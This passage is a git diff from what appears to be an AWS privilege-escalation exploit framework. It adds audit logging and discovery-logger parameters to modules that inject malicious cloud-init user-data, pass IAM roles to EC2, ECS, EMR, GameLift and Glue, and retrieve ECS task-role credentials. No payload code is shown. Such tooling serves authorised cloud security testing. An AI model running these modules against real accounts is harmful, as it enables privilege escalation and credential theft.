nil { + logger.LogAWSCall("ec2", "CreateLaunchTemplateVersion", config.Region, + fmt.Sprintf("Created new launch template version %d for template %s with malicious user-data and profile %s", newVersionNumber, templateName, instanceProfile), + map[string]string{"template_id": templateID, "template_name": templateName, "new_version": fmt.Sprintf("%d", newVersionNumber)}) + } // Track the new template version for cleanup if tracker != nil { diff --git a/pkg/exploits/ec2_modifyinstanceattribute/module.go b/pkg/exploits/ec2_modifyinstanceattribute/module.go index 94e6d33..a08f2f9 100644 --- a/pkg/exploits/ec2_modifyinstanceattribute/module.go +++ b/pkg/exploits/ec2_modifyinstanceattribute/module.go @@ -105,7 +105,7 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current switch optionName { case "INSTANCE_ID": - return discovery.DiscoverEC2Instances(context.Background(), config) + return discovery.DiscoverEC2Instances(context.Background(), config, m.DiscoveryLogger) default: return nil, fmt.Errorf("option '%s' does not support auto-discovery", optionName) } @@ -158,6 +158,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger instanceID := options["INSTANCE_ID"] payloadType := options["PAYLOAD"] cleanup := options["CLEANUP"] != "false" @@ -297,6 +298,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { return "", fmt.Errorf("failed to modify instance userData: %v", err) } fmt.Println("Malicious userData injected successfully") + if logger != nil { + logger.LogAWSCall("ec2", "ModifyInstanceAttribute", config.Region, + fmt.Sprintf("Injected malicious cloud-init payload into userData of instance %s", instanceID), + map[string]string{"instance_id": instanceID}) + } // Step 5: Start instance to trigger payload execution. fmt.Printf("Starting instance '%s' to trigger cloud-init payload...\n", instanceID) @@ -315,6 +321,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { return "", fmt.Errorf("timed out waiting for instance to start: %v", err) } fmt.Println("Instance is running — malicious cloud-init script will execute shortly") + if logger != nil { + logger.LogAWSCall("ec2", "StartInstances", config.Region, + fmt.Sprintf("Started instance %s to trigger malicious cloud-init payload execution", instanceID), + map[string]string{"instance_id": instanceID}) + } // Step 6: Wait for cloud-init to execute. // The demo_attack.sh uses `sleep 30` after the instance reaches running state. diff --git a/pkg/exploits/ec2_passrole/module.go b/pkg/exploits/ec2_passrole/module.go index 5a710d8..a203f00 100644 --- a/pkg/exploits/ec2_passrole/module.go +++ b/pkg/exploits/ec2_passrole/module.go @@ -97,11 +97,11 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current switch optionName { case "INSTANCE_PROFILE": - return discovery.DiscoverInstanceProfiles(context.Background(), getConfig()) + return discovery.DiscoverInstanceProfiles(context.Background(), getConfig(), m.DiscoveryLogger) case "SUBNET_ID": - return discovery.DiscoverSubnets(context.Background(), getConfig()) + return discovery.DiscoverSubnets(context.Background(), getConfig(), m.DiscoveryLogger) case "SECURITY_GROUP_ID": - return discovery.DiscoverSecurityGroups(context.Background(), getConfig()) + return discovery.DiscoverSecurityGroups(context.Background(), getConfig(), m.DiscoveryLogger) default: return nil, fmt.Errorf("option '%s' does not support auto-discovery", optionName) } @@ -174,6 +174,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger instanceProfile := options["INSTANCE_PROFILE"] payloadType := options["PAYLOAD"] instanceName := options["INSTANCE_NAME"] @@ -308,6 +309,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { instanceID := aws.ToString(instance.InstanceId) fmt.Printf("EC2 instance launched: %s\n", instanceID) + if logger != nil { + logger.LogAWSCall("ec2", "RunInstances", config.Region, + fmt.Sprintf("Launched EC2 instance %s with instance profile %s", instanceID, instanceProfile), + map[string]string{"instance_id": instanceID, "instance_name": instanceName, "instance_profile": instanceProfile}) + } // Track the created EC2 instance resource if tracker != nil { diff --git a/pkg/exploits/ec2_passrole_requestspotinstances/module.go b/pkg/exploits/ec2_passrole_requestspotinstances/module.go index 680b37c..c7b187c 100644 --- a/pkg/exploits/ec2_passrole_requestspotinstances/module.go +++ b/pkg/exploits/ec2_passrole_requestspotinstances/module.go @@ -109,9 +109,9 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current switch optionName { case "INSTANCE_PROFILE": - return discovery.DiscoverInstanceProfiles(context.Background(), getConfig()) + return discovery.DiscoverInstanceProfiles(context.Background(), getConfig(), m.DiscoveryLogger) case "SUBNET_ID": - return discovery.DiscoverSubnets(context.Background(), getConfig()) + return discovery.DiscoverSubnets(context.Background(), getConfig(), m.DiscoveryLogger) default: return nil, fmt.Errorf("option '%s' does not support auto-discovery", optionName) } @@ -178,6 +178,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger instanceProfile := options["INSTANCE_PROFILE"] payloadType := options["PAYLOAD"] @@ -290,6 +291,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { spotRequestID := aws.ToString(spotOutput.SpotInstanceRequests[0].SpotInstanceRequestId) fmt.Printf("Spot instance request submitted: %s\n", spotRequestID) + if logger != nil { + logger.LogAWSCall("ec2", "RequestSpotInstances", config.Region, + fmt.Sprintf("Requested spot instance with profile %s, type %s", instanceProfile, instanceType), + map[string]string{"spot_request_id": spotRequestID, "instance_profile": instanceProfile}) + } // Track the spot request immediately so cleanup can cancel it even if we time out. if tracker != nil { diff --git a/pkg/exploits/ecs_executecommand/module.go b/pkg/exploits/ecs_executecommand/module.go index 32070ef..1fd5d48 100644 --- a/pkg/exploits/ecs_executecommand/module.go +++ b/pkg/exploits/ecs_executecommand/module.go @@ -159,6 +159,7 @@ type ecsMetadataCredentials struct { func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options + logger := ectx.Logger clusterName := options["CLUSTER_NAME"] taskArn := options["TASK_ARN"] @@ -261,6 +262,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { if err != nil { return "", fmt.Errorf("failed to execute command in container: %v", err) } + if logger != nil { + logger.LogAWSCall("ecs", "ExecuteCommand", region, + fmt.Sprintf("Executed command in ECS task %s (cluster %s) to retrieve task role credentials", taskArn, clusterName), + map[string]string{"cluster": clusterName, "task_arn": taskArn, "container": containerName}) + } // Step 5: Parse the credentials from the metadata response var metadataCreds ecsMetadataCredentials diff --git a/pkg/exploits/ecs_passrole/module.go b/pkg/exploits/ecs_passrole/module.go index 6dfe955..4c037dd 100644 --- a/pkg/exploits/ecs_passrole/module.go +++ b/pkg/exploits/ecs_passrole/module.go @@ -101,7 +101,7 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current switch optionName { case "ROLE_ARN": - return discovery.DiscoverRolesForService(context.Background(), config, "ecs-tasks.amazonaws.com") + return discovery.DiscoverRolesForService(context.Background(), config, "ecs-tasks.amazonaws.com", m.DiscoveryLogger) default: return nil, fmt.Errorf("option '%s' does not support auto-discovery", optionName) } @@ -162,6 +162,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger roleArn := options["ROLE_ARN"] payloadType := options["PAYLOAD"] @@ -278,6 +279,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { taskDefRevision := registerResult.TaskDefinition.Revision taskDefRef := fmt.Sprintf("%s:%d", taskFamily, taskDefRevision) fmt.Printf("Task definition registered: %s (revision %d)\n", taskDefArn, taskDefRevision) + if logger != nil { + logger.LogAWSCall("ecs", "RegisterTaskDefinition", region, + fmt.Sprintf("Registered ECS task definition %s with role %s", taskFamily, roleArn), + map[string]string{"task_definition_arn": taskDefArn, "role_arn": roleArn}) + } // Track the task definition for cleanup if tracker != nil { @@ -326,6 +332,24 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { taskArn := aws.ToString(runResult.Tasks[0].TaskArn) fmt.Printf("Task started: %s\n", taskArn) + if logger != nil { + logger.LogAWSCall("ecs", "RunTask", region, + fmt.Sprintf("Ran ECS task %s on cluster %s with role %s", taskArn, clusterName, roleArn), + map[string]string{"task_arn": taskArn, "cluster_name": clusterName, "role_arn": roleArn}) + } + if tracker != nil { + tracker.TrackResource(modules.CreatedResource{ + Type: "ecs:task", + Name: taskArn, + ARN: taskArn, + Region: region, + CleanupMethod: "ecs:StopTask", + ModuleID: "ecs-004", + Metadata: map[string]string{ + "cluster": clusterName, + }, + }) + } // Step 3: Wait for the task to complete fmt.Println("Waiting for ECS task to complete (polling every 10s, timeout 3m)...") diff --git a/pkg/exploits/ecs_passrole_createcluster/module.go b/pkg/exploits/ecs_passrole_createcluster/module.go index a51c889..e0b5f46 100644 --- a/pkg/exploits/ecs_passrole_createcluster/module.go +++ b/pkg/exploits/ecs_passrole_createcluster/module.go @@ -100,7 +100,7 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current switch optionName { case "ROLE_ARN": - return discovery.DiscoverRolesForService(context.Background(), config, "ecs-tasks.amazonaws.com") + return discovery.DiscoverRolesForService(context.Background(), config, "ecs-tasks.amazonaws.com", m.DiscoveryLogger) default: return nil, fmt.Errorf("option '%s' does not support auto-discovery", optionName) } @@ -161,6 +161,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger roleArn := options["ROLE_ARN"] payloadType := options["PAYLOAD"] @@ -259,6 +260,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { clusterArn := aws.ToString(createClusterResult.Cluster.ClusterArn) fmt.Printf("Cluster created: %s\n", clusterArn) + if logger != nil { + logger.LogAWSCall("ecs", "CreateCluster", region, + fmt.Sprintf("Created ECS cluster %s", clusterName), + map[string]string{"cluster_name": clusterName, "cluster_arn": clusterArn}) + } // Track the cluster for cleanup if tracker != nil { @@ -309,6 +315,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { taskDefArn := aws.ToString(registerResult.TaskDefinition.TaskDefinitionArn) taskDefRevision := registerResult.TaskDefinition.Revision fmt.Printf("Task definition registered: %s (revision %d)\n", taskDefArn, taskDefRevision) + if logger != nil { + logger.LogAWSCall("ecs", "RegisterTaskDefinition", region, + fmt.Sprintf("Registered ECS task definition %s with role %s", taskFamily, roleArn), + map[string]string{"task_definition_arn": taskDefArn, "role_arn": roleArn}) + } // Track the task definition for cleanup if tracker != nil { @@ -360,6 +371,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { taskArn := aws.ToString(runResult.Tasks[0].TaskArn) fmt.Printf("Task started: %s\n", taskArn) + if logger != nil { + logger.LogAWSCall("ecs", "RunTask", region, + fmt.Sprintf("Ran ECS task %s on cluster %s with role %s", taskArn, clusterName, roleArn), + map[string]string{"task_arn": taskArn, "cluster_name": clusterName, "role_arn": roleArn}) + } // Track the running task if tracker != nil { diff --git a/pkg/exploits/ecs_passrole_createcluster_createservice/module.go b/pkg/exploits/ecs_passrole_createcluster_createservice/module.go index 0f1da32..a21fe19 100644 --- a/pkg/exploits/ecs_passrole_createcluster_createservice/module.go +++ b/pkg/exploits/ecs_passrole_createcluster_createservice/module.go @@ -100,7 +100,7 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current switch optionName { case "ROLE_ARN": - return discovery.DiscoverRolesForService(context.Background(), config, "ecs-tasks.amazonaws.com") + return discovery.DiscoverRolesForService(context.Background(), config, "ecs-tasks.amazonaws.com", m.DiscoveryLogger) default: return nil, fmt.Errorf("option '%s' does not support auto-discovery", optionName) } @@ -167,6 +167,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger roleArn := options["ROLE_ARN"] payloadType := options["PAYLOAD"] @@ -269,6 +270,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { clusterArn := aws.ToString(createClusterResult.Cluster.ClusterArn) fmt.Printf("ECS cluster created: %s\n", clusterArn) + if logger != nil { + logger.LogAWSCall("ecs", "CreateCluster", region, + fmt.Sprintf("Created ECS cluster %s", clusterName), + map[string]string{"cluster_name": clusterName, "cluster_arn": clusterArn}) + } // Track the cluster for cleanup if tracker != nil { @@ -319,6 +325,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { taskDefArn := aws.ToString(registerResult.TaskDefinition.TaskDefinitionArn) taskDefRevision := registerResult.TaskDefinition.Revision fmt.Printf("Task definition registered: %s (revision %d)\n", taskDefArn, taskDefRevision) + if logger != nil { + logger.LogAWSCall("ecs", "RegisterTaskDefinition", region, + fmt.Sprintf("Registered ECS task definition %s with role %s", taskFamily, roleArn), + map[string]string{"task_definition_arn": taskDefArn, "role_arn": roleArn}) + } // Track the task definition for cleanup if tracker != nil { @@ -366,6 +377,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { serviceArn := aws.ToString(createServiceResult.Service.ServiceArn) fmt.Printf("ECS service created: %s\n", serviceArn) + if logger != nil { + logger.LogAWSCall("ecs", "CreateService", region, + fmt.Sprintf("Created ECS service %s on cluster %s with task role %s", serviceName, clusterName, roleArn), + map[string]string{"service_arn": serviceArn, "cluster_name": clusterName, "role_arn": roleArn}) + } // Track the service for cleanup if tracker != nil { diff --git a/pkg/exploits/ecs_passrole_createservice/module.go b/pkg/exploits/ecs_passrole_createservice/module.go index c026143..1b8debd 100644 --- a/pkg/exploits/ecs_passrole_createservice/module.go +++ b/pkg/exploits/ecs_passrole_createservice/module.go @@ -101,7 +101,7 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current switch optionName { case "ROLE_ARN": - return discovery.DiscoverRolesForService(context.Background(), config, "ecs-tasks.amazonaws.com") + return discovery.DiscoverRolesForService(context.Background(), config, "ecs-tasks.amazonaws.com", m.DiscoveryLogger) case "CLUSTER_ARN": return discoverECSClusters(context.Background(), config) default: @@ -169,6 +169,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger roleArn := options["ROLE_ARN"] clusterArn := options["CLUSTER_ARN"] @@ -287,6 +288,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { taskDefArn := aws.ToString(registerResult.TaskDefinition.TaskDefinitionArn) taskDefRevision := registerResult.TaskDefinition.Revision fmt.Printf("Task definition registered: %s (revision %d)\n", taskDefArn, taskDefRevision) + if logger != nil { + logger.LogAWSCall("ecs", "RegisterTaskDefinition", region, + fmt.Sprintf("Registered ECS task definition %s with role %s", taskFamily, roleArn), + map[string]string{"task_definition_arn": taskDefArn, "role_arn": roleArn}) + } // Track the task definition for cleanup if tracker != nil { @@ -334,6 +340,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { serviceArn := aws.ToString(createServiceResult.Service.ServiceArn) fmt.Printf("ECS service created: %s\n", serviceArn) + if logger != nil { + logger.LogAWSCall("ecs", "CreateService", region, + fmt.Sprintf("Created ECS service %s on cluster %s with task role %s", serviceName, clusterArn, roleArn), + map[string]string{"service_arn": serviceArn, "cluster_arn": clusterArn, "role_arn": roleArn}) + } // Track the service for cleanup if tracker != nil { diff --git a/pkg/exploits/ecs_passrole_runtask/module.go b/pkg/exploits/ecs_passrole_runtask/module.go index ef46670..213f859 100644 --- a/pkg/exploits/ecs_passrole_runtask/module.go +++ b/pkg/exploits/ecs_passrole_runtask/module.go @@ -107,7 +107,7 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current switch optionName { case "ROLE_ARN": - return discovery.DiscoverRolesForService(context.Background(), config, "ecs-tasks.amazonaws.com") + return discovery.DiscoverRolesForService(context.Background(), config, "ecs-tasks.amazonaws.com", m.DiscoveryLogger) case "CLUSTER_NAME": return discoverClusters(context.Background(), config) case "TASK_DEFINITION": @@ -164,6 +164,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger roleArn := options["ROLE_ARN"] clusterName := options["CLUSTER_NAME"] @@ -290,6 +291,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { taskArn := aws.ToString(runResult.Tasks[0].TaskArn) fmt.Printf("Task started: %s\n", taskArn) + if logger != nil { + logger.LogAWSCall("ecs", "RunTask", region, + fmt.Sprintf("Ran ECS task %s with task role override %s", taskArn, roleArn), + map[string]string{"task_arn": taskArn, "cluster": clusterName, "role_arn": roleArn}) + } // Note: ECS tasks are not tracked for cleanup because they are ephemeral — // the task runs to completion and stops on its own. By the time the exploit diff --git a/pkg/exploits/ecs_passrole_starttask/module.go b/pkg/exploits/ecs_passrole_starttask/module.go index d3d65be..ffcaba2 100644 --- a/pkg/exploits/ecs_passrole_starttask/module.go +++ b/pkg/exploits/ecs_passrole_starttask/module.go @@ -107,7 +107,7 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current switch optionName { case "ROLE_ARN": - return discovery.DiscoverRolesForService(context.Background(), config, "ecs-tasks.amazonaws.com") + return discovery.DiscoverRolesForService(context.Background(), config, "ecs-tasks.amazonaws.com", m.DiscoveryLogger) case "CLUSTER_NAME": return discoverClusters(context.Background(), config) case "CONTAINER_INSTANCE_ARN": @@ -177,6 +177,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger roleArn := options["ROLE_ARN"] clusterName := options["CLUSTER_NAME"] @@ -303,6 +304,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { taskArn := aws.ToString(startResult.Tasks[0].TaskArn) fmt.Printf("Task started: %s\n", taskArn) + if logger != nil { + logger.LogAWSCall("ecs", "StartTask", region, + fmt.Sprintf("Started ECS task %s with task role override %s", taskArn, roleArn), + map[string]string{"task_arn": taskArn, "role_arn": roleArn}) + } // Track the running task for cleanup if tracker != nil { diff --git a/pkg/exploits/ecs_registertaskdefinition_runtask/module.go b/pkg/exploits/ecs_registertaskdefinition_runtask/module.go index 8ada132..d9da47a 100644 --- a/pkg/exploits/ecs_registertaskdefinition_runtask/module.go +++ b/pkg/exploits/ecs_registertaskdefinition_runtask/module.go @@ -103,7 +103,7 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current switch optionName { case "ROLE_ARN": - return discovery.DiscoverRolesForService(context.Background(), config, "ecs-tasks.amazonaws.com") + return discovery.DiscoverRolesForService(context.Background(), config, "ecs-tasks.amazonaws.com", m.DiscoveryLogger) case "CLUSTER_NAME": return discoverClusters(context.Background(), config) case "CONTAINER_INSTANCE_ARN": @@ -170,6 +170,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger roleArn := options["ROLE_ARN"] clusterName := options["CLUSTER_NAME"] @@ -271,6 +272,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { taskDefArn := aws.ToString(registerResult.TaskDefinition.TaskDefinitionArn) taskDefRevision := registerResult.TaskDefinition.Revision fmt.Printf("Task definition registered: %s (revision %d)\n", taskDefArn, taskDefRevision) + if logger != nil { + logger.LogAWSCall("ecs", "RegisterTaskDefinition", region, + fmt.Sprintf("Registered ECS task definition %s with role %s", taskFamily, roleArn), + map[string]string{"task_definition_arn": taskDefArn, "role_arn": roleArn}) + } // Track the task definition for cleanup if tracker != nil { @@ -327,6 +333,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { taskArn := aws.ToString(startResult.Tasks[0].TaskArn) fmt.Printf("Task started: %s\n", taskArn) + if logger != nil { + logger.LogAWSCall("ecs", "StartTask", region, + fmt.Sprintf("Started ECS task %s on cluster %s with role %s", taskArn, clusterName, roleArn), + map[string]string{"task_arn": taskArn, "cluster_name": clusterName, "role_arn": roleArn}) + } // Track the running task if tracker != nil { diff --git a/pkg/exploits/ecs_starttask_registercontainerinstance/module.go b/pkg/exploits/ecs_starttask_registercontainerinstance/module.go index a008980..e91633e 100644 --- a/pkg/exploits/ecs_starttask_registercontainerinstance/module.go +++ b/pkg/exploits/ecs_starttask_registercontainerinstance/module.go @@ -107,7 +107,7 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current switch optionName { case "ROLE_ARN": - return discovery.DiscoverRolesForService(context.Background(), config, "ecs-tasks.amazonaws.com") + return discovery.DiscoverRolesForService(context.Background(), config, "ecs-tasks.amazonaws.com", m.DiscoveryLogger) case "CLUSTER_NAME": return discoverClusters(context.Background(), config) case "TASK_DEFINITION": @@ -168,6 +168,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger roleArn := options["ROLE_ARN"] clusterName := options["CLUSTER_NAME"] @@ -272,6 +273,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { taskArn := aws.ToString(startResult.Tasks[0].TaskArn) fmt.Printf("Task started: %s\n", taskArn) + if logger != nil { + logger.LogAWSCall("ecs", "StartTask", region, + fmt.Sprintf("Started ECS task %s on cluster %s with role %s", taskArn, clusterName, roleArn), + map[string]string{"task_arn": taskArn, "cluster_name": clusterName, "role_arn": roleArn}) + } // Track the running task for cleanup if tracker != nil { diff --git a/pkg/exploits/emr_passrole/module.go b/pkg/exploits/emr_passrole/module.go index 696b66f..23c8aaf 100644 --- a/pkg/exploits/emr_passrole/module.go +++ b/pkg/exploits/emr_passrole/module.go @@ -106,9 +106,9 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current switch optionName { case "INSTANCE_PROFILE": - return discovery.DiscoverInstanceProfiles(context.Background(), getConfig()) + return discovery.DiscoverInstanceProfiles(context.Background(), getConfig(), m.DiscoveryLogger) case "SERVICE_ROLE": - return discovery.DiscoverRolesForService(context.Background(), getConfig(), "elasticmapreduce.amazonaws.com") + return discovery.DiscoverRolesForService(context.Background(), getConfig(), "elasticmapreduce.amazonaws.com", m.DiscoveryLogger) default: return nil, fmt.Errorf("option '%s' does not support auto-discovery", optionName) } @@ -174,6 +174,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger instanceProfile := options["INSTANCE_PROFILE"] serviceRole := options["SERVICE_ROLE"] @@ -288,6 +289,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { clusterID := aws.ToString(runResult.JobFlowId) fmt.Printf("EMR cluster created: %s\n", clusterID) + if logger != nil { + logger.LogAWSCall("elasticmapreduce", "RunJobFlow", region, + fmt.Sprintf("Created EMR cluster %s with instance profile %s", clusterID, instanceProfile), + map[string]string{"cluster_id": clusterID, "instance_profile": instanceProfile}) + } fmt.Println("Waiting for cluster to run step and auto-terminate (5-15 minutes typical, up to 20 minutes)...") fmt.Println("Polling every 30 seconds...") diff --git a/pkg/exploits/emrserverless_passrole/module.go b/pkg/exploits/emrserverless_passrole/module.go index a3da05e..4d1168f 100644 --- a/pkg/exploits/emrserverless_passrole/module.go +++ b/pkg/exploits/emrserverless_passrole/module.go @@ -199,7 +199,7 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current if region := currentOptions["REGION"]; region != "" { config.Region = region } - return discovery.DiscoverRolesForService(context.Background(), config, "emr-serverless.amazonaws.com") + return discovery.DiscoverRolesForService(context.Background(), config, "emr-serverless.amazonaws.com", m.DiscoveryLogger) default: return nil, fmt.Errorf("option '%s' does not support auto-discovery", optionName) } @@ -254,6 +254,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger executionRoleARN := options["EXECUTION_ROLE_ARN"] scriptBucket := options["BUCKET"] @@ -347,6 +348,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { applicationID := aws.ToString(createResult.ApplicationId) fmt.Printf("EMR Serverless application created: %s\n", applicationID) + if logger != nil { + logger.LogAWSCall("emr-serverless", "CreateApplication", region, + fmt.Sprintf("Created EMR Serverless application %s", appName), + map[string]string{"application_id": applicationID, "app_name": appName}) + } // Track the application for workspace cleanup. if tracker != nil { @@ -398,6 +404,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { jobRunID := aws.ToString(jobResult.JobRunId) fmt.Printf("Job run started: %s\n", jobRunID) + if logger != nil { + logger.LogAWSCall("emr-serverless", "StartJobRun", region, + fmt.Sprintf("Started EMR Serverless job run %s with execution role %s", jobRunID, executionRoleARN), + map[string]string{"job_run_id": jobRunID, "application_id": applicationID, "execution_role_arn": executionRoleARN}) + } // Step 4: Poll until the job run reaches SUCCESS. fmt.Printf("Waiting for job run to complete (polling every %s, timeout %s)...\n", diff --git a/pkg/exploits/gamelift_passrole/module.go b/pkg/exploits/gamelift_passrole/module.go index 4dd2b5a..d95d381 100644 --- a/pkg/exploits/gamelift_passrole/module.go +++ b/pkg/exploits/gamelift_passrole/module.go @@ -117,7 +117,7 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current if region := currentOptions["REGION"]; region != "" { config.Region = region } - return discovery.DiscoverRolesForService(context.Background(), config, "ec2.amazonaws.com") + return discovery.DiscoverRolesForService(context.Background(), config, "ec2.amazonaws.com", m.DiscoveryLogger) default: return nil, fmt.Errorf("option '%s' does not support auto-discovery", optionName) } @@ -182,6 +182,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger roleArn := options["ROLE_ARN"] payloadType := options["PAYLOAD"] @@ -261,6 +262,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { buildID := aws.ToString(buildResult.Build.BuildId) fmt.Printf("GameLift build created: %s\n", buildID) + if logger != nil { + logger.LogAWSCall("gamelift", "CreateBuild", region, + fmt.Sprintf("Created GameLift build %s for fleet-based privilege escalation", buildName), + map[string]string{"build_id": buildID, "build_name": buildName}) + } // Track the build for cleanup. if tracker != nil { @@ -389,6 +395,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { fleetID := aws.ToString(fleetResult.FleetAttributes.FleetId) fmt.Printf("GameLift fleet created: %s\n", fleetID) + if logger != nil { + logger.LogAWSCall("gamelift", "CreateFleet", region, + fmt.Sprintf("Created GameLift fleet %s with instance role %s for privilege escalation", fleetName, roleArn), + map[string]string{"fleet_id": fleetID, "fleet_name": fleetName, "role_arn": roleArn}) + } fmt.Println("Fleet is provisioning EC2 instances. The game server will start automatically.") fmt.Println("Note: the fleet will enter ERROR state (game server does not call InitSDK) — the exploit runs before the timeout.") diff --git a/pkg/exploits/glue_passrole_createsession/module.go b/pkg/exploits/glue_passrole_createsession/module.go index 15998a8..6908b3f 100644 --- a/pkg/exploits/glue_passrole_createsession/module.go +++ b/pkg/exploits/glue_passrole_createsession/module.go @@ -105,7 +105,7 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current if region := currentOptions["REGION"]; region != "" { config.Region = region } - return discovery.DiscoverRolesForService(context.Background(), config, "glue.amazonaws.com") + return discovery.DiscoverRolesForService(context.Background(), config, "glue.amazonaws.com", m.DiscoveryLogger) default: return nil, fmt.Errorf("option '%s' does not support auto-discovery", optionName) } @@ -158,6 +158,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger roleArn := options["ROLE_ARN"] payloadType := options["PAYLOAD"] @@ -239,6 +240,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { return "", fmt.Errorf("failed to create Glue Interactive Session: %v", err) } fmt.Printf("Glue Interactive Session created: %s\n", sessionID) + if logger != nil { + logger.LogAWSCall("glue", "CreateSession", region, + fmt.Sprintf("Created Glue Interactive Session %s with role %s", sessionID, roleArn), + map[string]string{"session_id": sessionID, "role_arn": roleArn}) + } // Track the session resource for workspace cleanup. if tracker != nil { @@ -280,6 +286,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { statementID := runResult.Id fmt.Printf("Statement submitted: ID=%d\n", statementID) + if logger != nil { + logger.LogAWSCall("glue", "RunStatement", region, + fmt.Sprintf("Ran statement in Glue session %s with role %s", sessionID, roleArn), + map[string]string{"session_id": sessionID, "statement_id": fmt.Sprintf("%d", statementID)}) + } // Step 4: Poll for AVAILABLE — interval 5 s, max 120 s (24 attempts). fmt.Println("Waiting for statement to complete (polling every 5 s, timeout 120 s)...") diff --git a/pkg/exploits/glue_passrole_devendpoint/module.go b/pkg/exploits/glue_passrole_devendpoint/module.go index 4905f62..c6132d1 100644 --- a/pkg/exploits/glue_passrole_devendpoint/module.go +++ b/pkg/exploits/glue_passrole_devendpoint/module.go @@ -113,7 +113,7 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current if region := currentOptions["REGION"]; region != "" { config.Region = region } - return discovery.DiscoverRolesForService(context.Background(), config, "glue.amazonaws.com") + return discovery.DiscoverRolesForService(context.Background(), config, "glue.amazonaws.com", m.DiscoveryLogger) default: return nil, fmt.Errorf("option '%s' does not support auto-discovery", optionName) } @@ -169,6 +169,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger roleArn := options["ROLE_ARN"] endpointName := options["ENDPOINT_NAME"] @@ -239,6 +240,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { return "", fmt.Errorf("failed to create Glue dev endpoint: %v", err) } fmt.Printf("Glue dev endpoint created: %s\n", endpointName) + if logger != nil { + logger.LogAWSCall("glue", "CreateDevEndpoint", region, + 